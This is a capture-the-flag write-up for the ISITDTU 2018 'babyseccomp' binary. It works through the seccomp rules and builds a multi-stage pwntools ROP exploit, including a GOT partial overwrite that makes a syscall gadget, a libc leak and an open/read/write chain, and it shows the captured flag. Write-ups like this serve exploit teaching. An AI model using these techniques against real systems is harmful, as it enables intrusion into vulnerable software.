ISITDTU CTF 2018 Finals - babyseccomp

nc 10.7.3.94 31337

Attachment: babyseccomp libc.so.6 xpl.py

$ file babyseccomp
babyseccomp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=45afb1729fe3d826e5d47855926bfeba9bd25cd1, not stripped

The binary initializes some seccomp rules, and then just reads a huge string, so it’s another simple rop challenge :)

int main(int argc, char *argv[])
{
  char buf[8];

  INIT();
  init_seccomp();
  readStr(&buf, 0x70);
  return 0;
}

So, we can send a ropchain with length 0x70, we just have to make sure not to hit any blacklisted syscalls.

Let’s take a list at the seccomp rules in place:

$seccomp-tools dump ./babyseccomp

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0a 0xc000003e  if (A != ARCH_X86_64) goto 0012
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x08 0x00 0x40000000  if (A >= 0x40000000) goto 0012
 0004: 0x15 0x06 0x00 0x00000000  if (A == read) goto 0011
 0005: 0x15 0x05 0x00 0x00000001  if (A == write) goto 0011
 0006: 0x15 0x04 0x00 0x00000002  if (A == open) goto 0011
 0007: 0x15 0x03 0x00 0x0000000a  if (A == mprotect) goto 0011
 0008: 0x15 0x02 0x00 0x00000025  if (A == alarm) goto 0011
 0009: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0011
 0010: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x06 0x00 0x00 0x00000000  return KILL

This means, we’re allowed to use read, write, open, mprotect, alarm and exit syscalls. With open, read, write we have everything ready to create a ropchain, to open, read and write the flag :)

The only problem here is, that the binary only contains functions to read input, no gadget to set rax or to do a syscall at all:

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE 
0000000000600ff8 R_X86_64_GLOB_DAT  __gmon_start__
0000000000601070 R_X86_64_COPY     stdout@@GLIBC_2.2.5
0000000000601080 R_X86_64_COPY     stdin@@GLIBC_2.2.5
0000000000601018 R_X86_64_JUMP_SLOT  seccomp_init
0000000000601020 R_X86_64_JUMP_SLOT  seccomp_rule_add
0000000000601028 R_X86_64_JUMP_SLOT  seccomp_load
0000000000601030 R_X86_64_JUMP_SLOT  setbuf@GLIBC_2.2.5
0000000000601038 R_X86_64_JUMP_SLOT  alarm@GLIBC_2.2.5
0000000000601040 R_X86_64_JUMP_SLOT  read@GLIBC_2.2.5
0000000000601048 R_X86_64_JUMP_SLOT  __libc_start_main@GLIBC_2.2.5
0000000000601050 R_X86_64_JUMP_SLOT  exit@GLIBC_2.2.5

So, we have to change this, but for the start, let’s just read in another (bigger) ropchain to be a little bit more flexible on ropping through this.

We’ll just reuse the existing readStr function for this:

#!/usr/bin/python
from pwn import *
import sys

HOST = "10.7.3.94"
PORT = 31337

POPRDI = 0x0000000000400b03
POPRSIR15 = 0x0000000000400b01
LEAVERET = 0x00000000004009c9

def exploit(r):
  payload = "A"*8
  payload += p64(0x601500-8)

  # Stage1 : Read bigger ropchain to bss
  payload += p64(POPRDI)
  payload += p64(0x601500)
  payload += p64(POPRSIR15)
  payload += p64(0x1000)
  payload += p64(0)
  payload += p64(e.functions["readStr"].address)
  payload += p64(LEAVERET)  
  r.sendline(payload)

  r.interactive()
  
  return

if __name__ == "__main__":
  e = ELF("./babyseccomp")
  libc = ELF("./libc.so.6")
  if len(sys.argv) > 1:
    r = remote(HOST, PORT)
    exploit(r)
  else:
    r = process("./babyseccomp", env={"LD_LIBRARY_PATH" : ".", "LD_PRELOAD" : "./libc.so.6"})
    print util.proc.pidof(r)
    pause()
    exploit(r)

Since we now have more place for putting additional ropchains, we can get a little bit wasteful on our space and use ret_csuinit for additional calls.

# pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
POPALL = 0x000000000400AFA

# mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]
CALLER = 0x400ae0

# overwrite alarm to get a syscall gadget

def call_func(func, rdi, rsi, rdx):
  result = ""
  result += p64(POPALL)
  result += p64(0)
  result += p64(1)
  result += p64(func)   # r12
  result += p64(rdx)    # r13 => rdx
  result += p64(rsi)    # r14 => rsi
  result += p64(rdi)    # r15
  result += p64(CALLER)
  result += p64(0xdeadbeef)
  result += p64(0)
  result += p64(0)
  result += p64(0)
  result += p64(0)
  result += p64(0)
  result += p64(0)

  return result

Still, we can only read but having access to libc gadgets would make this even easier (you might do it without with setting rax via consecutive calls to read, but having a pop rax will make the exploit nicer).

So, we need a syscall gadget, which the binary doesn’t contains. But it has a call to alarm, which is just

gdb-peda$ x/30i 0x00007ffff7ac8840
   0x7ffff7ac8840:  mov    eax,0x25
   0x7ffff7ac8845:  syscall

Thus, we can now just use readStr agin to read 1 byte into the got of alarm and overwrite the LSB of the alarm address, letting it point to 0x7ffff7ac8845. After this, a call to alarm will just trigger syscall, exactly what we need :)

# overwrite alarm LSB to get a syscall gadget
payload = p64(POPRDI)
payload += p64(e.got["alarm"])
payload += p64(POPRSIR15)
payload += p64(1)
payload += p64(0)
payload += p64(e.functions["readStr"].address)
...

# send next ropchain
r.sendline(payload)
pause()

# send byte to overwrite alarm LSB
r.send(p8(0x45))

Now having a syscall gadget, we’re able to do a write syscall for a libc leak. But still, we need to set rax to 1 for this. No pop rax available yet, but read will set rax to the number of bytes read ,so let’s just read a single byte

# read (0, 601200, 1) => set rax to 1
payload += call_func(e.got["read"], 0, 0x601200, 0x1)
# calling alarm will now result in write(1, 0x601030, 0x8) => leak got entry
payload += call_func(e.got["alarm"], 1, 0x000000000601030, 0x8)

...
# send byte to set rax to 1
r.send(p8(0xff))

# leak setbuf got
SETBUF = u64(r.recv(6).ljust(8, "\x00"))

The following call to alarm will then call syscall and since we set rax to 1 via the read, it will be write spitting out the got entry of setbuf.

We’ll just add another read ropchain after the syscall, so we can read another ropchain to continue with after the leak

# read another ropchain
payload += p64(POPRDI)
payload += p64(0x601650)
payload += p64(POPRSIR15)
payload += p64(0x300)
payload += p64(0)
payload += p64(e.functions["readStr"].address)
# next payload will be read directly behind last ropchain call

The next ropchain will be put exactly behind the last call of this ropchain, so it will directly continue with that one after the readStr call has finished.

Now just leak setbuf and calculate libc and gadget addresses:

# leak setbuf got
SETBUF = u64(r.recv(6).ljust(8, "\x00"))

log.info("SETBUF                  : %s" % hex(SETBUF))

libc.address = SETBUF - libc.symbols["setbuf"]

log.info("LIBC                    : %s" % hex(libc.address))

POPRAX = libc.address + 0x00000000000439c8
POPRSI = libc.address + 0x0000000000023e6a
POPRDX = libc.address + 0x0000000000001b96
SYSCALL = libc.address + 0x00000000000d2975

Now we have every gadget to open the flag file, read it to bss and then write it back to us, so let’s finish this up

# send final open/read/write ropchain
  
# open flag
payload = p64(POPRAX)
payload += p64(2)
payload += p64(POPRDI)
payload += p64(0x601728)   # address of flag string
payload += p64(POPRSI)
payload += p64(0)
payload += p64(POPRDX)  
payload += p64(0)
payload += p64(SYSCALL)
  
# read flag
payload += p64(POPRAX)
payload += p64(0)
payload += p64(POPRDI)
payload += p64(3)
payload += p64(POPRSI)
payload += p64(0x601400)
payload += p64(POPRDX)
payload += p64(100)
payload += p64(SYSCALL)

# write flag
payload += p64(POPRAX)
payload += p64(1)
payload += p64(POPRDI)
payload += p64(1)
payload += p64(POPRSI)
payload += p64(0x601400)
payload += p64(POPRDX)
payload += p64(100)
payload += p64(SYSCALL)

# and location of flag to ropchain
payload += "/home/babyseccomp/flag\x00"

r.sendline(payload)

r.interactive()
$ python xpl.py  1
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[▆] Opening connection to 10.7.3.94 on port 31337: Trying 10.7.3.94
[+] Opening connection to 10.7.3.94 on port 31337: Done
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] SETBUF                  : 0x7fe6f920b4d0
[*] LIBC                    : 0x7fe6f9183000
[*] Paused (press any to continue)
[*] Switching to interactive mode
\x00\x00ISITDTU{540699d093c0f7a8e79ce2b8f2d9b7c425f6735e}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
ISITDTU{540699d093c0f7a8e79ce2b8f2d9b7c425f6735e}